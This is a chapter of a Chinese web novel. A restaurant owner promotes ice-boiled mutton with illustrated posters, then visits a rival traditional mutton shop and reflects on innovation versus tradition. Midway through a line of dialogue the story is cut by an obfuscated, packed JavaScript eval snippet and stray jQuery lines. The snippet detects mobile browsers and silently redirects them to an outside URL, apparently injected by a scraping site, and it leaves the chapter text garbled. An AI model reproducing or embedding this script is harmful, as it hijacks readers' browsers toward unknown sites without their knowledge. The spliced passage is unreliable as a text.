匣子拿在手里沉甸甸的,是值当让人买椟还珠的好木料。蓝锦好奇地打开,发现是卷轴。
抽出来展开一看,是一幅画。画的显然是蓝记饮食店。外有运河环绕,热闹街景。
正中是一个手拨算盘的掌柜,粉腮红唇,满脸笑眯眯的,腰间的围裙还没解下。
周围有人在招呼客人,还有端菜的、切菜的、颠锅的,男男女女忙得热火朝天。
一个斜挎着小布包的总角小儿急匆匆地刚迈进门槛,双手掬着一捧水,其中有两只小蝌蚪。她张着小嘴,好像在喊:“阿姐,我要水来养小鱼!”
蓝锦目光移至此处,脸上不禁浮现一个笑容。
这样贵重的礼物,会是谁送的?——定是一个藏头露尾、有门不走、偏要翻窗的狂徒。
这熟悉的感觉,她倒是想起一个人来。
“锦娘,这又是什么?”安琴拿着一张彩色的纸跑来问蓝锦。上头画了蓝记饮食店所有的人,有人手执炒勺,有人端着一锅菜,无一例外都是笑容可掬。
“这个呀,是我们的企业形象!”蓝锦从那份生辰礼中得到了启发。
那幅画画得温馨,让人一看就觉得开心治愈。
蓝锦就想,若是自家的潜在顾客们,都能看到蓝记饮食店的氛围,岂不是绝佳的宣传?
她当即延请名家,就以那幅画为参照,绘制蓝记温馨定格图。力求简约但不简单,便于批量生产。
除此以外,宣传画上还写明了蓝记的菜单。有几道颇受欢迎、视觉冲击力又强的菜色,叫蓝锦画了Q版图像,就在画面上方,一眼就能看到的地方。
还格外绘制了一个巨大的羊肉锅,里头晶莹剔透——
没错,蓝锦打算把剩下的一小点冰块都用上,趁着秋老虎来袭,隆重推出冰煮羊。
蓝锦跟落霞村的人谈好了价码,隔几日便送新鲜的羊肉。
李厨子的刀工全然派上了用场。案板上的羊腿肉鲜红夺目,红玉一般,肌间脂肪洁白如雪,纹路清晰。
送来的羊肉是搁在冰窖镇着的,另一种意味上的原汤化原食。
按住羊肉,“咻”地一声,厚实有分量的厨刀纤薄锋利,薄如蝉翼的羊肉片打着卷落下来。
片片匀称,薄得透光。有些□□里掺着雪花纹,没有一丝怪味道。
李厨子动作利落,把切好的肉一片片整齐地铺在盘子里。薄切的像红裙委地,厚切的像一排热闹的炮仗。
即便还未在热锅子白汤里滚过一圈,鲜艳欲滴的羊肉,就已经勾人馋虫,叫人想入非非。
冰煮羊要用一口极大的铜锅,加了满登登的冰块。倒进掺杂了白萝卜、枸杞、胡椒的冷泉水汤底,和羊肉一起下锅去煮。
这锅一上来,便有食客议论纷纷:
“怎么她家煮羊肉锅子不用热汤,倒用冰块?什么路数?”
“怕不是噱头吧,真不懂。”
“这能好吃吗?估计不如老李家。”
直到锅中咕嘟嘟地煮得热气翻涌,一股霸道的鲜香充斥了口鼻,食客便再也来不及说什么了。个个都举着筷子,蓄势待发。
克制而缓慢的温度变化,激发又稳定了羊肉的鲜甜与嫩滑。
人的味蕾和鼻腔慢慢打开,尽情拥抱这种清澈得过分的鲜香。
好像身处最靠近天边的冰原,马上就能尝到那饮雪水、吃青草的干净小嫩羊。
拿蓝记特制的长筷,伸进白汤里轻轻一捞。打了卷的羊肉片白褐相间,弹嫩挂汁。
往调好的蘸碟里一埋,不等吹了两口,就只想飞快地塞入口中一尝究竟。
唔!软嫩得不像话,简直分不清哪里是瘦肉,哪里是肥油。因为几乎不用去嚼,牙齿一对,肉片自己就化开了。
羊香味强势充斥口腔,不放过任何一个角落。
大家几乎是边吃边分泌口水。油润的羊鲜味在唇齿间缠绕不退,简直想把舌头也吞下去。
在座的食客无一不是连吃好些片,才来得及喘一口气。呼出的气也是香味十足的。
“好!真好!来,再来给我加一份手切羊腿肉。”
“这羊肉弹嫩,还紧致,没有膻味!”
蓝锦又在一旁欢喜地拨着算盘。冰淇淋卖不成了,又有什么要紧,就算不在夏日里,她家的冰块一样走俏。
李记羊肉锅,是专做羊肉羊汤生意的老店。她家的伙计,也接到了在街上四处散的蓝记宣传画。
“掌柜的,您看,蓝记也做羊肉生意了。”
“玩票罢了。谁人不知,万年县养羊的人家,最大的就是咱家了。”
李记之所以受欢迎,不靠新花头,也不靠定价便宜。靠就靠他掌握了万年县的羊肉供应。
食客每每都能在李记吃到最新鲜的羊肉,连自己去市场买了回家做,都不一定有他家新鲜美味。
故而,李记传到李闻雁的手里,半分没有没落,还更红火了。
蓝记的羊肉供应,是找村里的散户买的。
李记以不变应万变。自从蓝记卖冰煮羊,这几个月的生意稍稍打了折扣,可她家十分沉得住气,半点不着急。
该卖羊汤卖羊汤,该卖羊肉卖羊肉。
“蓝小娘子,不是我挑刺哈,我怎么吃着,这羊腱心,不如上回来这的口感好了?”
蓝锦仔细瞧过,这批羊的质量格外参差不齐。
兴许是冬日快到了,羊找食变难,失了从前跑山啃山添的膘。这还是桌子告诉她的,他从前放过羊。
“客官,真对不住。这批羊没有从前肥嫩,我们已经叫厨下每份多添一两、价码不变了。”
“行,我就是说一声,也没什么大事。不过,蓝小娘子,我可提醒你啊。人家李记羊肉店,可一年到头都是一个品质,没有这样赶客的事。蓝小娘子若想长期做这个生意,还得往此处下功夫呐。”
蓝锦含笑应下:“多谢客官。我家打从一开始做的就是限时生意,没想过与李记争短长的。您看,我这店里除了卖冰煮羊,还卖许多其他菜色,而且隔几日才上一回,就是因为得不来好羊肉啊。您吃完这顿,隔几日,我家便也不再上了。也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541978|171016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是因为别的,实是冰块用完了呀!”
如是,蓝锦还慕名去了李记羊肉店,点了一桌子的羊汤和羊肉。
不尝不要紧,这家的羊肉嫩滑爽口,白胡椒的味道不冲不呛,明显是不需要加多少料,全凭羊肉自身来彰显味道。
汤品不过两三种,炖肉也是两三样,顶多再搭配上隔壁的芝麻酥饼。就是这样一家菜品不多的小店,多年屹立不倒。
此时不是饭点,蓝锦好奇地问身着短打的李闻雁:“掌柜的,你们家的羊肉用料这样好,就没有想过多开发几种菜色?”
李闻雁抹抹手,笑眯眯地答道:“从未想过。我接手时,便是这几样菜。现下,就还是这几样菜。我不求别的,只求几十年前光顾此间的客人,如今再来,一尝,便说一句‘还是那个味道’。”
蓝锦心下惊叹,这也是一件很难达成的事情啊。
物价涨得快,形势比人强。斗转星移,有多少东西是一直不变的?
蓝锦好奇道:“什么都原样,就不涨价吗?”
李闻雁人也坦诚,竟一五一十地把自家的成本都告诉了蓝锦。
“在我手里,就涨过一次价。羊是我们自己家养的,食方是自家手里捏着。连房子也是自家买下的。我每日就开这几个时辰的店,卖完就算了事。”
“如今熟客多了,都是光顾了几十年的街坊。我知道小娘子家的前些日子也卖了羊肉锅子,还颇为新鲜。像那什么画儿,也是新奇好看的。但是,自家客人自家知,他们早晚还是要回到我这里,喝上一碗羊汤,吃上几个芝麻酥饼。习惯了,不好改了!”
李闻雁笑眯眯的,蓝锦瞧着,倒有一种笃定的自信——客人在外面有几个去处她不管,这里才是他们永远的家。
蓝锦叫人认出来了,手脚有些局促,却又不禁心生佩服:“掌柜的就没想过,若是保留招牌菜,又时常翻新;便能聚拢更多人气,多开几家分店,坐着拿钱吗?”
李闻雁正色道:“我不比蓝小娘子,想不出这样好的花头。能把手里头的食方做到极致,就是我的造化了。我上了年纪,脑筋转得也慢,瞧着小娘子家的菜色,没有不佩服的。”
“可我心里却知道,我家有我家的样子。守着传统的几样菜,未必就赚不着钱。好比那芝麻酥饼,面和水各放多少,油酥的盐味透出几分最香,炉里的火候如何,让旁人来揣摩,未必能成,非得有经年的体会和手感。”
蓝锦点头称是:“桥头石阿婆炸的油条,炸了几十年了,远近四邻都认可。酥脆蓬松的,吃起来一点都不腻口。我偷看了好几次,各样时长都记下了。回家去做,怎么也做不成。”
李闻雁也点头:“就是这个道理,这便是我家生意的积累,小娘子想学也学不来的。若让我学小娘子花样翻新,我也不行,也不愿的。”
蓝锦回家之后,还在托腮沉思。翻新,新颖,这就是蓝记在一众老店里杀出重围的立足之本了。
接下来怎么做?
总之,不要在万年县做羊肉生意了。不能以己之短,攻人之长呀!